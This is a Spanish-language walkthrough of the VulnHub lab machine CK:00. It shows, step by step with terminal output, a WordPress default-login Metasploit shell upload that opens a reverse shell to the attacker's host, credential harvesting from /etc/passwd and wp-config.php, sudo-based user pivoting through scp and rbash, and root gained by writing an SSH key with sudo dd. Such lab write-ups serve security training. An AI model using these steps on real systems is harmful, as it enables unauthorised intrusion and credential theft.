[VLN] CK:00

Hoy vamos a hackear la maquina de Vulnhub llamada CK:00. Podeis descargarla desde el siguiente enlace: CK:00

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.


sml@Cassandra:~$ nmap -A -p- 192.168.1.69
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 17:17 CET
Nmap scan report for ck00.home (192.168.1.69)
Host is up (0.00057s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 
2.0)
| ssh-hostkey: 
|   2048 d2:6f:64:b5:4c:22:ce:b2:c9:8a:ab:57:0e:69:4a:0f (RSA)
|   256 a8:6f:9c:0e:d2:ee:f8:73:0a:0f:5f:57:1c:2f:59:3a (ECDSA)
|_  256 10:8c:55:d4:79:7f:63:0f:ff:ea:c8:fb:73:1e:21:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.2.2
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: CK~00 – Just another WordPress site
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.95 seconds
Vemos que tiene SSH y Apache (con Wordpress). Tras probar los credenciales por defecto de Wordpress, vemos que nos logueamos con admin/admin :)

Exploitation


Sabiendo los credenciales de Wordpress, vamos a usar Metasploit para conseguir una shell.

msf5 > use exploit/unix/webapp/wp_admin_shell_upload

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       
Check  Description
   -  ----                                       ---------------  ----       
-----  -----------
   0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  
Yes    WordPress Admin Shell Upload

[*] Using exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate 
with
   Proxies                     no        A proxy chain of format 
type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR 
identifier, or hosts file with syntax 'file:'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing 
connections
   TARGETURI  /                yes       The base path to the wordpress 
application
   USERNAME                    yes       The WordPress username to authenticate 
with
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   WordPress

msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.1.69
rhosts => 192.168.1.69
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password admin
password => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.1.148:4444 
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/jwqXeQBeYY/tylreavZZJ.php...
[*] Sending stage (38288 bytes) to 192.168.1.69
[*] Meterpreter session 1 opened (192.168.1.148:4444 -> 192.168.1.69:59798) at 
2020-03-24 17:26:51 +0100
[+] Deleted tylreavZZJ.php
[+] Deleted jwqXeQBeYY.php
[+] Deleted ../jwqXeQBeYY

meterpreter > 

Post-Exploitation


Ahora que ya tenemos una shell en el sistema es momento para ver que hay por el sistema y como obtener mas privilegios.

meterpreter > shell
Process 25871 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh -i
sh: 0: getcwd() failed: No such file or directory
/bin/sh: 0: can't access tty; job control turned off
$cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
--SNIP--
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ck-00:x:1000:1000:CyberKnight:/home/ck:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
bla1:x:1001:1001:Bla 1,01,0000,0001:/home/bla1:/bin/bash
bla:x:1002:1002:bla,0000,0000,0000:/home/bla:/bin/bash
$ cd /home
$ ls
bla
bla1
ck
$ cd ck
$ ls
ck00-local-flag
$ cat ck00-local-flag
local.txt = 8163d4c2c7ccb38591d57b86c7414f8c

you got local flag
get the root shell and read root flag
Parece que hemos conseguido la flag del usuario, pero seguimos necesitando la de root.

$ cd /var/www/html
$ ls
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$ cat wp-config.php
--SNIP--
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'bla_is_my_password' );
--SNIP--
Probamos esa password para loguearnos como root pero no sirve... Asi que probamos con los usuarios que hemos visto anteriormente que formaban parte del sistema, bla,bla1,ck-00... Y con el usuario bla tenemos exito!

sml@Cassandra:~$ ssh bla@192.168.1.69
bla@192.168.1.69's password: 
Last login: Fri Aug  2 13:35:50 2019 from 192.168.29.253
bla@ck00:~$ sudo -l
[sudo] password for bla: 
Matching Defaults entries for bla on ck00:
    env_reset, mail_badpass,
    
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User bla may run the following commands on ck00:
    (bla1) /usr/bin/scp
Vemos que podemos usar sudo para ejecutar scp como usuario bla1, el cual podemos utilizar para obtener una shell como bla1 :)

bla@ck00:/tmp$ TF=$(mktemp)
bla@ck00:/tmp$ echo 'sh 0<&2 1>&2' > $TF
bla@ck00:/tmp$ chmod +x "$TF"
bla@ck00:/tmp$ sudo -u bla1 scp -S $TF x y:
/bin/sh: 0: Can't open /tmp/tmp.NvRtZ1GS49
lost connection
bla@ck00:/tmp$ ls -l /tmp/tmp.NvRtZ1GS49
-rwx--x--x 1 bla bla 13 Mar 25 14:24 /tmp/tmp.NvRtZ1GS49
bla@ck00:/tmp$ chmod 777 /tmp/tmp.NvRtZ1GS49
bla@ck00:/tmp$ sudo -u bla1 scp -S $TF x y:
$ id
uid=1001(bla1) gid=1001(bla1) groups=1001(bla1)
$ 
Ahora que somos el usuario bla1 vamos a continuar. NOTA: Por deduccion y curiosidad la pass de bla1 es: bla1_is_my_password aunque no es necesaria en el "juego".

bla1@ck00:~$ sudo -l
Matching Defaults entries for bla1 on ck00:
    env_reset, mail_badpass,
    
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User bla1 may run the following commands on ck00:
    (ck-00) NOPASSWD: /bin/rbash
En este caso podemos ejecutar rbash como el usuario ck-00...

bla1@ck00:~$ sudo -u ck-00 /bin/rbash
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

ck-00@ck00:~$ id
uid=1000(ck-00) gid=1000(ck-00) 
groups=1000(ck-00),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Bien, ahora somos el usuario ck-00 y estamos en una "restricted shell", podeis verlo de la siguiente manera:

ck-00@ck00:/tmp$ cd /
rbash: cd: restricted
Asi que lo primero es hacer bypass de las limitaciones de rbash y obtener una shell "normal", en este caso es simple :)

ck-00@ck00:/tmp$ sh
$ id
uid=1000(ck-00) gid=1000(ck-00) 
groups=1000(ck-00),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
$cd /
$ ls
bin   home            lib64       opt   sbin      sys  vmlinuz
boot  initrd.img      lost+found  proc  snap      tmp  vmlinuz.old
dev   initrd.img.old  media       root  srv       usr
etc   lib             mnt         run   swap.img  var
Asi que ya estariamos con una shell sin restricciones y con el usuario ck-00.

Privilege Escalation


Con el usuario ck-00 miramos si podemos utilizar tambien sudo...

$ sudo -l
Matching Defaults entries for ck-00 on ck00:
    env_reset, mail_badpass,
    
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User ck-00 may run the following commands on ck00:
    (root) NOPASSWD: /bin/dd
Vemos que podemos usar el comando dd como root, el cual podemos aprovechar para escalar los privilegios. La idea es aprovechar el uso de dd para copiar nuestra clave publica en las authorized_keys de root y de ese modo poder loguearnos luego como root.

$ echo "ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABgQDnKTcC7KPANz4UxNAIYKxk1jnpymVix5yeiN+z68td8qqK96Zm
0TKaF5Xzskhw1eSDqbcXHo9lmbu5465jpxZkC2UvvigHFqvZsujLwgLfah37MYKBCNt= 
sml@Cassandra" | sudo -u root dd of=/root/.ssh/authorized_keys
1+1 records in
1+1 records out
567 bytes copied, 0.0004185 s, 1.4 MB/s
$ 
Y por ultimo nos logueamos desde nuestra maquina como "root"..

sml@Cassandra:~$ ssh root@192.168.1.69
root@ck00:~# id
uid=0(root) gid=0(root) groups=0(root)

ck00-root-flag.txt


Ya como root podemos mirar la flag que nos faltaba.

root@ck00:~# cat ck00-root-flag.txt 

flag = c0523985a2640ad30429fb2055196XXX

Thia flag is a proof that you get the root shell.

You have to submit your report contaning all steps you take to get root shell.

Send your report to our official mail : XXX@gmail.com 

End


Y con esto ya seriamos root de la maquina :)